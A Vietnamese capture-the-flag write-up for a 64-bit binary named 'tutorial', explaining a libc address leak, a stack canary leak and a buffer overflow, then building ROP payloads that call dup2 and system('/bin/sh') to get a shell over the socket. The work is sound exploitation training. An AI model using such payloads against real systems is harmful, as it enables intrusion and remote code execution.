Đã lâu rồi không viết writeup, nay Lãng đã comeback.
Đề cho 2 file: tutorial và libc-2.19.so
$ file tutorial
tutorial: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
dynamically linked (uses shared libs), for GNU/Linux 2.6.24,
BuildID[sha1]=01e9b94153bb138f2dda5b5b9c490da7c255c68d, not stripped
Phân tích
file turorial:
Sơ bộ trong
main thì chương trình sẽ nhận đối số argv[1] làm port để listen socket.
Sau đó vào
hàm priv(“tutorial”) kiểm tra username tutorial có tồn tại hay không. Phần này sau
khi coi toàn bộ chương trình thì mình thấy nó không liên quan tới những phần
còn lại, trên server nó tự có môi trường rồi nên mình tiến hành patch lại để
debug cho dễ.
Mình sử dụng
keypatch (http://www.keystone-engine.org/keypatch/)
là 1 plugin cho IDA Pro giúp ta patch lại chương trình tốt hơn rất nhiều so với
plugin có sẵn của IDA.
Patch từ 0x40123A
tới 0x40124C thành nop (0x90).
Ngoài ra
mình có thể patch lại call alarm cho dễ debug local cũng được.
Sau đó
chương trình sẽ vào menu chính:
Tại đây ta
có 3 lựa chọn:
1: call func1
2. call
func2
3. exit
func1:
Như vậy tác dụng của func1 là leak cho ta 1 địa chỉ trong libc.
Từ đây ta có thể tính được các hàm khác trong libc như system, chuỗi /bin/sh
func2:
s tại rbp-0x140
v3 (cookie) tại rbp-0x8
Stack func2:
rbp+0x8 (ret)
rbp
rbp-0x8 (cookie)
…
rbp-0x140 (s)
Ta thấy read s tới 0x1cc bytes (>0x140) dẫn đến overflow được rbp+0x8
(ret) nhưng vấn đề ở đây là chương trình enable canary, nếu overflow lên stack làm
cookie thay đổi, trước khi ret hàm sẽ check lại cookie báo lỗi và thoát.
Để ý ta thấy hàm write sẽ in ra 0x144 bytes từ s, như vậy sẽ in luôn cả
cookie ra.
Như vậy ta cần thực hiện các bước để gọi được system(“/bin/sh”) chương
trình:
1. leak libc (func1), tính system, /bin/sh
2. leak cookie
3. ghi đè lên stack với đúng cookie để nhảy về system, /bin/sh
Ở bước 3 ta cần một số gadget để đưa /bin/sh vào rdi.
Như vậy payload như sau:
payload = "\x90"*0x138
payload += cookie
payload += p64(menu)
payload += p64(popRDI)
payload += p64(str_bin_sh)
payload += p64(system)
Tiếp theo ta gặp phải vấn đề là server chạy được system(“/bin/sh”) nhưng
ta ở client không thể truyền, nhận dữ liệu với process được. (chỉ truyền nhận
từ stdout và stdin)
Để giải quyết vấn đề này ta sử dụng hàm dup2.
dup2() makes newfd be
the copy of oldfd, closing newfd first if
necessary (https://linux.die.net/man/2/dup2).
dup2(0x4,0x0) # 0x4: server socket, 0x0 stdin
dup2(0x4,0x1) # 0x4: server socket, 0x1 stdout
Có tới 2 đối số vì vậy ta cần thêm 1 gadget để đưa giá trị đối số thứ 2
vào RSI:
Payload:
payload = "\x90"*312
payload += cookie
payload += p64(menu)
payload +=
p64(popRSI_pop)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(popRDI)
payload += p64(0x4)
payload += p64(dup2)
payload +=
p64(popRSI_pop)
payload += p64(0x1)
payload += p64(0x1)
payload += p64(popRDI)
payload += p64(0x4)
payload += p64(dup2)
payload += p64(popRDI)
payload += p64(str_bin_sh)
payload += p64(system)
Full source: http://pastebin.com/06QAxR2w